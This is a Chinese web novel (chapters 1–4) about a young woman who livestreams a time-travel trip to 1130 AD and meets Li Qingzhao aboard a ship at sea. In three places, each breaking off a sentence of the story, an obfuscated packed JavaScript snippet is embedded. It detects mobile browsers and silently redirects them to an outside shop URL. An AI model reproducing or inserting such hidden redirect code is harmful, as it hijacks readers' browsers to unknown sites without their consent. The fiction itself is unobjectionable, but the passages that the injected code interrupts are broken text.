《直播与古人同游》 1. 第 1 章 “啊——” 空旷的海域之上,天空被划开一道裂缝,白光闪烁数息,黑色的身影从裂缝中落下,自空中急速坠落,直直撞向海面。 “已开启紧急保护模式!”在呼啸的风声中,一道机械声传入游夏的耳中。 噗通! “咕噜咕噜……”腥咸的海水灌进游夏的嘴里,让她被迫吞回一声国粹。 她是会游泳的,只是毫无防备地落入水中,一时间手忙脚乱,在水中扑腾个不停。 “已兑换皮划艇!” 一艘皮划艇突兀地出现在海面上,距离游夏不过一米远。如见了救命稻草一般,她冷静下来,挣扎着朝皮划艇游去。 游夏狼狈地把因吸满水而沉重无比的背包推上皮划艇,等她费尽九牛二虎之力,终于翻上皮划艇已经是好几分钟之后的事情。 这个时空似乎正值冬季,气温有些低,游夏仰躺在皮划艇上,被冻得一连打了好几个喷嚏,生无可恋地说道:“系统,现在能解约吗?要打官司的话,你先把我送回去,我找律师跟你打。” 没想到她生平第一次想找律师打官司,被告居然不是人。 如果时间可以回到三天前,游夏一定会抽死那个被系统的花言巧语哄得五迷三道的自己。 - “宝子你好,这边是直播系统,有兴趣当主播吗?” 机械声出现在脑子里的那一刻,游夏怀疑自己刷招聘软件被直播公司HR轰炸出幻觉了。 招主播的HR都到我梦里来努力了吗? 这梦不太真实,游夏想,谁家HR喊宝子,又不是大学同学。 “没有五险一金,工作时间不固定,工作时长不固定……” 梦里的HR比现实里还黑? 游夏无语凝噎,算了,起码比现实的HR诚实。 “无责底薪五万,直播一次至少休假十五天……” 五万!? 这个工资听得游夏傻眼,脱口而出:“是正规直播吗?” “绝对正规!” 系统向游夏介绍起自己的来历,强调着自己的正规性,游夏当自己在梦里,也没仔细听,就听了个大概。 “果然还是小说看多了……” 居然会梦到星际时代的系统找她当时空旅游主播,还是会跟她签合同,每月发工资的系统。 游夏抓了抓头发:“都做梦了,就不能梦个神豪系统吗?只管花钱,不用上班的那种!或者梦个月薪一百万?” 她劲儿大,抓头发时不慎扯下几根头发,头皮传来轻微刺痛,游夏抓头发的手一顿,梦里会有痛感吗? “宝子,”系统毫无感情地吐出这个数据库中显示“蓝星历二十一世纪二十年代大学生爱用”的称呼,“你没有做梦。” 游夏:停停停!这对吗? - “这不对吧!”游夏坐起身,视线所及是一望无际的海面,“说好的旅行怎么变极限挑战高空无伞速降了?” “这是对我没下反诈APP的惩罚吗?”游夏后悔极了,明知天上不会掉馅饼,怎么还是没经得住诱惑,“旅行暂停,我要回家。” 听到游夏说要回去,系统的声音还是那样平静无波:“来都来了。” 这话不该她来说吗? 游夏语塞,仰头瞪着一双死鱼眼望天,半晌之后,她深吸一口气:“来都来了。” 这可是公费跨时空旅行,月薪五万的工作! 虽然开局刺激了些,但好歹系统在她落水之前开启了紧急保护模式,让她免受高空落水的疼痛,说明她接下来的工作安全性还是有保障的。 “能帮我把衣服烘干一下吗?” “该功能需要1能量,能量可通过直播积攒,直播间热度越高,能量越多,初始能量为10,兑换皮划艇消耗9能量,当前剩余能量为1。” 游夏:……这是工伤吧,居然不报销? 没人乐意穿湿衣服上班,她果断选择消耗能量烘干衣服和背包,剩余能量归0,一身干爽让游夏满血复活,她又从背包中取出一件羽绒服套上,这才暖和起来。 “当前所处时空为S8432,时间为公元1130年。” 系统之前和游夏科普过,宇宙中存在无数平行时空,游夏在平行时空做的事不会影响到她所在时空的历史进程,同时还保证每次穿梭时空都会对她进行全面消杀,保证她这个现代人不会成为能让古人团灭的人型生化武器,这才打消游夏的后顾之忧。 1130年? 那是什么时候? 游夏平时对历史挺感兴趣的,但也做不到给个公元xx年就能准确知道这是什么年份,发生哪些事的程度。 她眼神迷茫,只能勉强推出应该是宋朝:“系统,这会的皇帝是谁啊?” “查询资料需消耗1能量,当前剩余能量为0。” “当我没问。” 雷达图浮现在游夏眼前,一个红点在图上不断闪动。 系统道:“红点处有多人聚集,主播或可前往此处结识友人、体验风俗,祝您旅途愉快,直播顺利。” 多人聚集?那里大概是座城池。 游夏的目光飘向前方:往那边划是吧? 虽然跑个八百米都能要她半条命,但想到自己即将进入古代城市,她精神振奋地握住双桨:我来啦! - 夜幕降临,明月高悬,星子缀满天穹。朦胧月光中,一艘小船在海上静静地飘着。 游夏放下双桨,拧开矿泉水瓶,仰头灌进一大口水。在她面前,是一块透明的屏幕,屏幕散发着柔和的光芒,照亮了她的脸。 屏幕上,除了她的影像,还飘着几条弹幕。 【主播省着点水吧,还不知道多久靠岸呢】 【前面的,你还真信她在海上?一看就是特效,怎么可能有人深夜在海上划个破皮划艇?】 游夏脸上没有表情,却在心里阴阳怪气地对着系统说道:“是啊,大晚上的,怎么会有人坐个皮划艇在海上漂呢?” 甚至还是没有驱动设备、纯人工划桨,某宝三百来块就能拿下的双人充气皮划艇! 窝在游夏脑海深处的系统没敢吭声,目睹游夏累死累活划了一下午的船,它分析出自己现在保持沉默比较好。 【直播间左上角标的公元1130年是什么意思??】 【你刚来吧?我刚好在主播开播的时候进直播间,主播说她所处的时间是1130年,我以为是穿越剧情直播间,留下来看热闹,几个小时过去了,主播一直在划船,但还真别说,看主播划船还挺有意思的】 【还能是什么意思,噱头呗】 游夏有心解释自己真在1130年,但目前她想不出用什么办法证明。 说自己在1130年,总要有个古人或者古建筑吧?她划了一下午的船, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352933|199632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽说速度慢,到底也划了一段距离,可视线所及,除了海还是海。 思来想去,游夏决定先不回应,等她靠岸进城,不用她解释,观众就会相信她。何况观众相不相信也无所谓,只要他们愿意看,就当她在演穿越剧吧。 做好决定,游夏放下矿泉水瓶,握住双桨继续朝着图上标出的红点方向划去。 - 屏幕的另一边,钱靖靠在沙发上,满意地看着手机里的姑娘,心中自得不已。 瞧瞧这动作,看看这姿势,多标准啊!谁能想到几个小时前,这姑娘根本不会划船。 钱大教授甚至觉得教这姑娘划船比给她的研究生们上课还要有成就感。 钱靖是无意中点进这个直播间的,一进去就看见游夏动作生涩地划着船,钱靖爱好划船,想着刷到就是缘分,便发弹幕指点一二。 发弹幕教游夏划船的不止她一个,其他人见游夏有进步也很有成就感。所谓帮人帮到底,送佛送到西,有人便想给游夏这个一看就是直播新手的菜鸟一些建议。 【主播可以换个名字,学那个[峰哥沙漠徒步行]取一个,简单明了,能更好地吸引目标受众】 【那个峰哥被扒出假徒步了,不建议主播学他取名】 【说得好像这个主播没造假一样,也就是特效比峰哥直播间的好一些,目前还没看出破绽】 【肯定造假了,一个新手怎么可能安然无恙地在海上划这么久的皮划艇?肯定就是绿幕搭的景】 直播间的观众进进出出,有人停留一会,觉得没什么意思就划走,也有人觉得难得出现户外划船类直播,多看了一会,因为游夏不怎么说话,直播间几乎只有海水声,有人便把这当成白噪音直播间。 总之,游夏直播间的观众虽然人少,但群体分类还挺多的。看运动的、教划船的、还有听白噪音学习、助眠的,甚至还有人觉得直播间的星空好看,留在里面数星星、截图。 观众人数一会增一会减,最终稳定在二十人左右。对于游夏这个直播新手来说,已经算很不错了。 只是,仅仅二十人,并不能让系统积攒下多少能量。 - 砰! 沉闷的撞击声突兀响起,准备入睡的大学生于妙言摘下耳机,揉着耳朵,没好气地嘟囔:“搞什么啊?” 她就是觉得这个直播间的声音很适合助眠才没退出去的,怎么突然就发出这么大的声响? 她实在困倦,懒得睁开眼找耳机仓,便随手把耳机放在枕头旁,至于远在书桌、仍在播放直播的手机,她更是懒得关。 反正手机还连着蓝牙,不会外放吵到她。 于妙言翻了个身继续睡,却没想到枕边的耳机内传来微弱的说话声,声音还越来越大。 “啧!”于妙言翻来覆去,终是没好气地坐起身来,爬到床尾,拿起手机就要退出直播间。 “我天!”惺忪的睡眼瞪大,于妙言怀疑自己是不是睡迷糊了,她记得自己进的不是一个海上划船直播间吗? 她才眯了一会而已,谁能告诉她屏幕里这个古代女子是从哪冒出来的? 不止她疑惑,直播间的其他观众也很疑惑,他们也没错开几眼呀? 一时间,直播间顶部飘过的为数不多的弹幕竟全是问号。 【???】 【这不是划船直播间吗??】 【哪里来的古风女子??】 2. 第 2 章 两舟相撞,皮划艇碰上船身,冲撞力让游夏重心不稳,加之体型较小的皮划艇在这艘船面前根本就是小巫见大巫,相撞的几秒之后,游夏翻船了。 她刚才闷头划船,浑然不知前方出现了一条船,愣是直直地撞了上去。 皮划艇倒扣在海面上,游夏呛了几口水,眼疾手快地抓住皮划艇不让它飘远,将皮划艇当作浮板,支撑住身体。 她抹了把脸,心道自己怎么这么倒霉!? 游夏仰头望着身旁的船,船上的桅灯散发着昏黄的光,想到旁人看不见自己眼前的发光屏幕,她低头认错,夜间开船不开灯,她全责。 不过,与其说是相撞,倒不如说是她单方面撞上去。 小小皮划艇的撞击对眼前这条船只来说不痛不痒,游夏甚至怀疑船上的人都没察觉到有东西撞上来—— 实则不然。 船上本来只有桅灯闪着微弱的光,可不过数息之间,舱室之内便亮起火光,隐约可见人影晃动。 游夏听见一阵急促的脚步声,像有数人在船上跑动,脚步声停,船头亮起火光。 “船下是甚人?” - 房门被拍响,门外传来杂役暗含焦急的声音。 “船主!船主!”杂役虽急迫,却死死地压低着声音,他生怕自己声音太大,被船下之人听见。 时局动荡,在船上的这些日子,每个人脑袋里都绷着一根弦,船主也是如此,即使今夜不是他守夜,他也不敢睡得太沉。 听见拍门声,舱内休息的所有人都清醒过来,船主快步过去开门。 “船主,船下有人!”负责守夜的人异常警觉,尽管游夏的撞击异常微弱,但还是被他察觉到了,当即便让杂役前来寻船主。 船主心头一沉,是金贼还是流窜的海寇? “有几人?”他问道,心里已做好了最坏的打算,若敌众我寡,今日许是他们命丧之时。 杂役语气并不轻松地回道:“只有一人。” 虽然只有一人,可万一此人是贼寇派来探查的斥候,大批贼人就在附近,只待他摸清了情况,传信回去怎么办? 船主皱眉,一路疾走至船头,早已赶到围在船头的几名壮汉为他让出一条道。 水面被火光映照,波光粼粼。 船主向下看去,他一辈子都和大海、船只打交道,自诩什么奇人异船都见过,可眼前这条船他是真没见过。 那船没有船篷,长约七尺,比最常见的渔船还要小上不少,船身不知使用什么材质做成的,像是涂了一层油,火光照射下,光斑跃动于船身之上。 比起这艘小船,让他更加惊奇的是船上所坐之人并非是他所想的凶恶大汉,而是一名女子,还是一名奇装异服的年轻女子。 费老鼻子劲儿才终于翻上皮划艇的游夏气喘吁吁地抬头,就被船上黑压压的一群人吓了一跳。 活的古代人! 游夏暗自后悔没有提前写好脚本,转念一想,自己来之前也不知道会到哪里,又会遇上什么人,怎么能提前写好脚本呢? 那只能随机应变了。 她挥舞双手,冲船上的人打招呼:“你好!我是……” 她突然顿住,怀疑自己是划船划傻了,怎么能用“你好”打招呼? 游夏是文科生,可高中历史课又不会详细地讲各个朝代的日常用词和礼仪,因此她的手势一连变了好几次。 最开始是抱拳,疑心这是武林人士专用,又想改成古装剧里的请安姿势,可还没做出动作,她就先被自己脑补出的画面逗笑,最后她一手握拳,另一只手覆在拳上,抱着夜黑风高,他们应该看不清的侥幸心理,想着蒙混过去:“见过诸位。” 游夏看着自己的手势,心想如果在现代,这个时候她应该说“恭喜发财”。 船上之人说的是大宋官话,游夏说的是普通话,二者本该鸡同鸭讲,好在系统自带语言转换功能,因此不管是船上的人、游夏还是直播间的观众都能听懂对方的语言。 看清游夏是个年纪轻轻的女子,又会说大宋官话,虽觉这女子有些神神叨叨的,但船主等人也不再似最初那般警惕。 借着火光,船主观她五官端正,火光之下依稀可见整齐且洁白到发光的牙齿,极像是出身富贵之家。 这位小娘子应该是出海躲避金贼的。虽不知她为何不雇一条大船,而是独自乘一小舟漂流入海,但必定是有不得已的苦衷,才不得不乘了这根本抵挡不了风浪的小船。 这小船在这海上倾覆只是时间问题,思及家中与游夏年纪相仿的女儿,船主动了恻隐之心,命人将游夏拉上来。 “小娘子,我等拉你上来!”船主扔下一条长绳,让游夏绑在腰间。 长绳自船头落下,握着绳子,游夏犯了难:“教官当时说这种时候要打什么结来着?” 她抓耳挠腮,试图回忆起中学军训时教官教的绳结,可惜当时顶着大太阳站了两小时军姿,她根本无心听讲。 她只好握住长绳,简单地在腰间打了两个疙瘩,又不放心地打上一个蝴蝶结,三个结总能保证不松了吧。 至于皮划艇,游夏让系统待会悄悄把它收进储物空间里,这是用能量兑换的,丢了她心疼。 船主等人开始使力,将她慢慢拉上去。游夏胆战心惊地抓紧绳子,生怕自己打的结不牢固。 她对着悬浮在半空中的、只有她能看见的屏幕扯出一个比哭还难看的僵硬笑容:“我现在有点害怕,无奖竞猜主播会不会掉下去。会的扣1,不会的扣2。” 已经没有丝毫困意的于妙言吐槽着这尬极了的互动,手上很诚实地在弹幕上扣了一串1。 【111111】 【主播,我也害怕,我可能熬夜熬出问题了,不然怎么看到你在和一群古代人说话??】 【真有穿越桥段??不是我说,你们这剧本谁写的?前摇也太长了吧?要不是我放暑假闲的,我早就划走了】 【就是,早点来这些有意思的不好吗?直播间肯定不止这点人!】 弹幕缓解了游夏的紧张,想着待会上船后到处都是人,她目前还没有那个勇气在身边有一堆人的注视下直播,更别提在别人眼里,她是对这一团空气说话。 于是她一本正经地向观众解释,试图用郑重的神情告诉大家自己没开玩笑:“实在抱歉,待会可能不太方便回复弹幕。刚才划船是因为出了一点小意外,我们这其实是是旅游直播间。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352934|199632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我穿越了,“好像短篇小说开头,游夏顿了顿,把脑子里冒出来的小说甩干净,才继续说,“如直播间左上角写的,主播现在在公元1130年,熟知历史的观众朋友们应该知道这是什么时候,可以打在公屏上。” 让系统查1130年是哪朝哪代要花1能量,哪有问观众来得方便划算? 果不其然,游夏话音刚落,弹幕上就飘过一连串的“建炎四年”,有人还给出了更详细的答案。 【建炎四年,这会儿赵构当皇帝,正被金人追得抱头鼠窜。主播你怎么选在这个时候旅游,太危险了!】 这位观众很给面子,沉浸式观看直播,极快地接受了旅(穿)游(越)直播间的设定。 要说1130年,那游夏只能抓瞎,但要说赵构当皇帝,那她就有头绪了,这段时期的历史她知道个大概。 原来是穿到了靖康之变后,金人追杀赵构时。知道自己身处什么时代,游夏比初到这里时安心了一些。 “买的盲盒机票啦。”游夏无奈摊手,她也不想第一次旅行就到这么混乱的时期,忽又想起自己正荡在半空,连忙缩手抓紧绳索。 脚终于落到实地上,游夏刚站稳,就忙不迭地对着这群拉她上船的大汉们道谢,转着圈地弯腰作揖:“多谢,多谢……” 船主想象中的游夏是个遇到天大难处的小姑娘,如今却听她语气轻快、像陀螺一样转着道谢,一点苦大仇深的样子都没有,不由得怀疑自己是不是想岔了。 “船主。”声音自船主身后飘来,听着有些嘶哑,声量不高,透着几分沉静。 游夏循声看去,只见一名女子正向船头走来。那女子生得高挑,身形瘦削,行走之时,衣角翻飞,好似下一刻便要乘风而起。 “李娘子,你来得正好。”船主侧过身,露出身后的游夏,“这位小娘子孤身入海,我等方才将她救下,可否让她与李娘子同住?” 船主心中紧张,李娘子是他的雇主,他并不熟悉对方脾性,不知她是否会责怪他擅自救人,也不知她是否愿意与这来历不明的小娘子同住。 待女子走进,火光映在女子脸上,游夏这才看清女子的样貌,她没注意旁的,只被女子的眼睛所吸引。 那双眼睛深邃而有神,眼波流转间,眸中闪烁的光竟比火光还明亮,微微上挑的眼尾之后是几条细纹,顺着细纹生长的方向看去,女子鬓间有几缕银丝,告诉旁人她已在这世上度过许多春秋。 李娘子闻言,极爽快地颔首应允:“自然可以。” 她本已歇下,听见舱外喧闹才出来看看,原是救下了位小娘子。敢孤身入海,这位小娘子实在有几分胆色。 李娘子目露欣赏,视线落在游夏身上,令船主等人惊疑的奇装异服并未让她在意,不过是蔽体之物,就是与常人所穿衣物不同又如何? 她看着游夏,正欲问她如何称呼,就被对方那两眼放光的样子惊得一愣。 这位小娘子看她的眼神怎得这般……如狼似虎? 直播间内的观众已不知扣了多少个问号,他们以为划船直播变成“穿越”整活直播已经够离谱了,谁知这小主播居然还能整个大活。 【是我看花眼了吗??字幕刚才写这人是谁??】 3. 第 3 章 屏幕上,【李清照】三个烫金大字出现在李娘子身旁,几秒之后化作流金,逐渐消散。 【???】 【主播,你是说你刚穿越就碰到了李清照是吗?甚至还是在海上??】 【这个小直播间的李清照居然比最近那部大制作电视剧的李清照还要还原】 【这会是1130年,李清照都四十好几了,那部电视剧才播到李清照少女时期的剧情,少女时期和中年时期能一样吗?】 【主播在海上遇见李清照蛮合理的,建炎四年嘛,不就是李清照追着赵构跑那会儿】 夜色渐深,游夏生得面善,会说大宋官话,且周围确未发现可疑船只,船主不再疑心她是匪寇,便留下几人守夜,让大伙各自回舱休息。 不只是直播间的观众,就是游夏也被“李清照”这三个字砸了个晕头转向,几乎是梦游一般跟着李清照进了船舱。 舱室逼仄,好在只她们两人,倒也不会挤得慌。李清照点亮一盏灯,昏黄的灯光照亮大半个船舱,她转过身,就听见一声奇怪的声响。 咕噜咕噜…… 这声响让游夏回过神来,察觉到对方的目光落在自己肚子上,那正是刚才闹出动静的地方,她捂着肚子不好意思地低头,咳嗽一声,文绉绉地说道:“李娘子见笑。” “小娘子可是饿了?我去为你寻些吃食。”李清照起身,就要推开门,寒风钻进屋内,吹得烛火晃荡。 游夏连忙拦住她,虽说她挺想尝尝宋代的食物,只是这么晚了,外头风还那么大,麻烦李清照去帮她找吃的,她可没这么大脸。 “李娘子,不必麻烦!”游夏把身后背包取下取下,放到膝上,拉开拉链,从里面掏出几样东西,“我带了食物,只是今天一直在赶路,没时间吃。” “系统,帮我拿两桶方便面,一桶红烧牛肉,一桶……香菇炖鸡。” 除了红烧牛肉,游夏实在不知道还有什么口味的方便面好吃,这次带了几桶不同口味的方便面,也只是因为村里的小卖部只剩下一桶红烧牛肉。犹豫半天,她才让系统再取了一桶香菇炖鸡。 “哦对了,还有我的热水瓶。”游夏准备得极其充分,甚至还带了灌满开水的热水瓶。 仗着系统有储物空间,旅游一向爱带很多行李的游夏终于不用忍痛断舍离,只要能想到的、可能会用上的东西,她全都带上了。 还好储物空间不需要能量,否则她已经负债累累。 李清照看着游夏从她那扁扁的背包中掏出来两个颜色鲜艳的圆盒以及一个明显高于背包高度的大红色圆筒。 从外面看,这包并不鼓囊,这平平无奇的包竟能装下这些东西? 游夏没看见李清照眼里快要溢出来的疑惑,动作麻利地撕开两桶方便面的塑料包装,将塑封膜顺手塞进书包,掀开盖子给李清照看里面的面饼。 “李娘子,这个是方便面,”游夏一边为李清照介绍,一边撕开调料包,“是……我老家的特产。” 游夏拔开热水瓶塞,滚烫的开水倒入桶中,热气蒸腾,雾气氤氲,调料的香气被开水激发出来,从未闻到过的奇异香味飘进李清照的鼻腔,好生霸道的香味。 游夏合上盖子,将热气与香味锁在面桶中,心里估算着泡方便面的时间:“李娘子,你喜欢吃弹一点的面条还是软一点的?” “小娘子,我已用过饭,”李清照矜持地推拒,“你奔波一日,多吃些罢。” “这怎么行?”她怎么能吃独食,让李清照在一旁干看着? 观众逐渐接受了穿越直播的背景设定,纷纷在弹幕里喊着让李清照尝尝方便面。 【尝尝吧尝尝吧~感受一下科技与狠活的魅力~】 【好奇李清照扮演者会怎么演吃方便面,一般来说应该都是一口下去惊为天人、狼吞虎咽?】 【突然想吃方便面了,我去泡一桶】 【实在想象不出来李清照狼吞虎咽的样子】 盛情难却,李清照落座在游夏对面,等待方便面泡好。 船舱内突然陷入沉默,游夏盯着方便面,面色平静,但抿紧的嘴唇泄露了她的真实情绪。 快想话题,快想话题啊! 说真的,依着游夏的性格,如果不是实在抵不住时空旅行的诱惑,她是决计不会答应系统开直播的。 【怎么冷场了?主播忘词了?】 游夏:不是忘词,是没词。 【想看李清照知道主播是穿越者的反应!一定很有意思!】 【附议啊,纯穿越多没意思,与其在直播间看还不如去看电视剧】 告诉李清照自己是穿越者? 游夏眼睛一亮,仿佛被打通了任督二脉,对啊!告知对方自己是穿越者,对方说不定会问她一些后世之事,这样不就有话题聊了? 在她对面,李清照倒没觉得尴尬,她饶有兴致地观察着桌上这桶通身深绿的面桶。 她注意到游夏是先拆封的红色盒子,猜测她应是喜欢那个口味的,君子不夺人所好,故而游夏问她想吃哪桶方便面时,她选的香菇炖鸡。 桶身上绘着香菇炖鸡的图样,李清照先是暗叹一声图样的精细,又看着图上那泛着油光的鸡肉和鲜嫩的蘑菇,回忆起游夏倒入调料包的画面。 那其中似乎并没有这两样食材? 视线下移,一行较小的字体被放在图样底部。 [图案仅供参考] 直播间的镜头很灵性地落在这行字上,继而慢慢转向李清照的脸。 【易安居士一向闪烁着智慧的眼睛中难得出现了空白】 【李清照:我刚才好像没看到有蘑菇和鸡啊??】 【我第一次看到这行字的时候也是这个表情,为什么商家能这么理直气壮地写个仅供参考啊喂】 【谁能想到现代文明给李清照的第一个震撼是图片仅供参考】 李清照一时无语,接着转动面桶,发现桶身一侧竟然写着一片密密麻麻的字。 她十分好奇制作方便面的商户为什么会在包装上写这么多字,写的又是什么。可那些字写得极小,烛光昏暗,李清照看不太清,俯下身凑近了些,双眼微微眯起。 啪嗒! 一道明亮的光柱突然出现在舱室内,将舱室照得跟天亮了一样。 游夏笑得近乎谄媚,献宝似的将手电筒递给李清照,殷勤地说道:“李娘子,用这个照着看吧,看得更清楚些。” 【主播笑得好狗腿哦】 【我要能跟李清照说上一句话,笑得比主播还灿烂】 易安居士有没有近视或者老花?要不要再拿个放大镜出来? 这可是活的李清照,游夏只觉得自己的服务还不够到位。 好奇心促使李清照接过手电筒,此物略沉,手柄处散发着微微热意,她试图观察发光之处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352935|199632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却被光芒晃了眼,她当即将手电筒换了个方向。 奇怪,分明没看见火焰,为何此物能散发出这么强的光亮?就算是夜明珠也不可能将舱室照得恍若白昼。 心里这么想着,李清照也就这么问了出来。 “这是……”游夏一顿,文邹邹地介绍,“此乃手电筒,无需燃蜡添油便可发光,小巧便携,在我们那边是居家旅行必备之物。” 这小娘子到底来自何处?家乡竟有这么多她见所未见之物。 李清照没有刨根问底,谢过游夏,依言将手电筒对准方便面桶,方才还模糊不清的字迹在她眼中瞬间变得清晰,心下暗叹一声,惊喜之色溢于言表,迫不及待地借着这光读起桶身上的文字来。 【谁懂易安居士那两眼发亮的样子有多可爱!?要是李清照少女时代能有手电筒,我都能想象她蒙在被子里打手电筒看书的样子了!!】 【实则不管什么年纪的李清照有了手电筒,都会大晚上打着手电筒看书】 【也不一定是看书,说不定是在赌博哈哈哈】 【我投赌博一票,李清照亲自认证她赌起博来废寝忘食】 【谁敢信这家伙赌瘾大到逃难途中都要玩打马游戏】[1] 【你懂什么,这叫松弛!!】 【一想到李易安还为打马写了三篇文章我就想膜拜她,我这么爱打麻将咋就写不出个什么麻将赋呢??】 【那不然人家的才名传到现在呢?】 从李清照出场开始,直播间的观看人数就一直在增加,弹幕也比之前多了好几倍,让游夏看得眼花缭乱。 配料…… 食品生产许可证编号…… 李清照眉头微皱,这上面大部分的字她都认识,就是有些字缺胳膊少腿的,看着很别扭,有些字单个她倒是认识,组合在一起她却不知道是什么意思。 至于那编号后的一串字符,她更是闻所未闻,心中的疑虑越来越多,但这并不妨碍李清照继续看下去。 许是李清照的目光在那串阿拉伯数字上停留得时间较长,观众很容易便发现她对阿拉伯数字的陌生。 【李清照不认识阿拉伯数字?】 【阿拉伯数字这会儿还没传入华夏呢】[2] 【出现了,华夏人自带的简繁转换器!】 【我们能看懂千年前的文字,而千年前的人也能看得懂我们现在的文字,突然好想哭是怎么回事】 【不觉得很浪漫吗?我们可以读懂几百年前李清照写下的诗词,李清照也能读懂我们的方便面配料表[狗头]】 产地:广东江门。 在配料表和编码这些让人一头雾水的文字中,产地信息就显得“眉清目秀”,总算看到有印象的地方,李清照问道:“这方便面产自广南东路?我竟从未听说过。” 她对广东并不熟悉,但有着这般香味又如此便携的食物,按理说不该毫无名气才对。 游夏心说:广南东路?那是哪里? 余光瞥见一条弹幕科普说广东在宋代被称为广南东路,游夏恍然大悟,这会儿又犯了难。 她该怎么和李清照解释此广东非彼广东? 游夏想,她这个脑子还是别想什么托词了,不如直说吧,反正她也做了要告诉李清照她是穿越者的打算。 “易安居士,我实话跟您说了吧,”游夏深吸一口气,“其实我来自九百年后。” 4. 第 4 章 这话说完,舱室内久久没有声响,陷入了寂静。 或许,直播间现在可以配上一段乌鸦飞过的音效? 将心比心,如果在现代,突然有个人跟游夏说自己来自古代或者星际时代,她也会觉得这个人疯了。 要不给易安居士表演一个“隔空取物”,凭空从储物空间里拿东西出来?这样会不会被当成是变戏法? 游夏心里七上八下,李清照的表情从一开始的一片空白变为疑惑,和游夏一样,她的大脑也在飞速运转。 游娘子来自九百年后? 这…… 这就说得通了! 原来如此,李清照恍然大悟,那这一切就说得通了。 奇怪的装束,闻所未闻的方便面,盒上精细的图样,没有灯油却能发出亮光的手电筒,缺胳膊少腿的文字,从未见过的字符…… 如果游夏没有一口叫破她的身份,她或许还会犹疑,毕竟天下之大,奇人奇事屡见不鲜,有方便面和手电筒又算得什么稀奇,可游夏竟知道她的身份,要知道就连船主都只知她姓李。 游夏身上一切的古怪、心中一切的疑惑都因未来之人的身份而烟消云散。 李清照已然信了七分,面上却不显。她脸上浮现出淡淡的讶异之色,随后笑问道:“小娘子来自九百年后?既知我是谁,那你可知我此行为何?” 李清照此行的目的? 游夏语塞,她还真不知道,历史书上没教啊! 等一等,她记得李清照出场之时,有人提过这个时候在海上遇见李清照是合理的,因为李清照这会正在追赵构。 想起弹幕所言,游夏回道:“是为了追赵构。“ 至于为什么追,她就不知道了,弹幕没说。 上了几年大学,高中历史书上讲的东西游夏都快忘了,更别说知道李清照追赵构这件教科书上不教的事。 游夏:不知道啊,老师(弹幕)没教。 【我知道!《金石录后序》里有写,她这会正在追赵构,想将她和赵明诚收藏的宝贝献给朝廷,因为赵明诚病重时有个叫张玉卿的人带着一只玉壶来请他鉴定,鉴定完张玉卿把玉壶带走了,就这么简单一个事不知道怎么被谣传成赵明诚把玉壶献给金人,有通敌之嫌……】[1] 【好莫名其妙的谣言,所以李清照才想追上赵构,把这些东西献给朝廷以证清白?】 【怀疑是有人眼馋这些宝物才到处传谣的,李清照不仅是为了证清白,更多的还是为了保护好这些宝物吧】 【我也觉得是有人觊觎他们的收藏】 【还有一个原因,李清照有亲戚在朝中当官,她顺便过来投奔】 尽管李清照对如今这位官家没有多少敬意,但见游夏那直呼赵构其名、丝毫不将一个皇帝放在眼里的样子,还是让她感到惊讶。 不过游夏这副模样却叫李清照更加相信游夏所说,她真是未来之人。 “我信你。”平淡轻缓的声音传入耳中,让正临时抱佛脚看弹幕答案的游夏回了神,她还担心李清照会继续追问追赵构的缘由,可李清照居然就这么轻易地相信她了? 【这个剧情是不是有点草率了,严重怀疑是看到弹幕临时改编的】 游夏:无需怀疑,就是临时决定的。 【李清照一个古人,这么容易就相信这世上有穿越者??我一个现代人都不会这么轻易相信,这么演不合常理】 【其实……我觉得别人不好说,李清照还真有可能相信,要说不合常理,她的一生不都在打破当时的常理?】 【应该不是临时改编,就是按剧本演的吧?李清照对方便面和手电筒接受良好,刻画了她善于接受未知之物的形象特点,不就是在给她相信穿越之事埋下伏笔?】 【前面的,你是不是正在做语文阅读题,标准答题格式哈哈哈】 “您真愿信我?太好了!”游夏喜不自胜,想起还未向李清照正式介绍自己的姓名,她正色道,“晚辈游夏见过易安居士。” 游夏,周游华夏。 宋时已有华夏一词,只是多用于书面上。 李清照默念着这个名字,问道:“你自九百年后来此,莫不是只为游览我大宋?” 游夏点点头,终于告知李清照自己的身份,完成一个小目标,她轻松许多,估摸着方便面泡得差不多了,她揭开盖子,为李清照递上塑料叉,口中回应:“正是。” 她搅拌好面条,将裹满汤汁的面条送入口中,食物在饥饿之时的美味程度是翻倍的,游夏吃得满足,话也多起来:“不只是大宋,未来我还要去其他朝代,游遍咱们华夏的大好河山!” 她忘记今天的劳累,畅想着未来到各时空的美好旅行,全然没注意李清照听见她这句话时陡然亮起的眼睛。 咱们华夏。 眼眶泛起热意,李清照抑住心中激动,够了,知晓华夏依然在,这就够了。 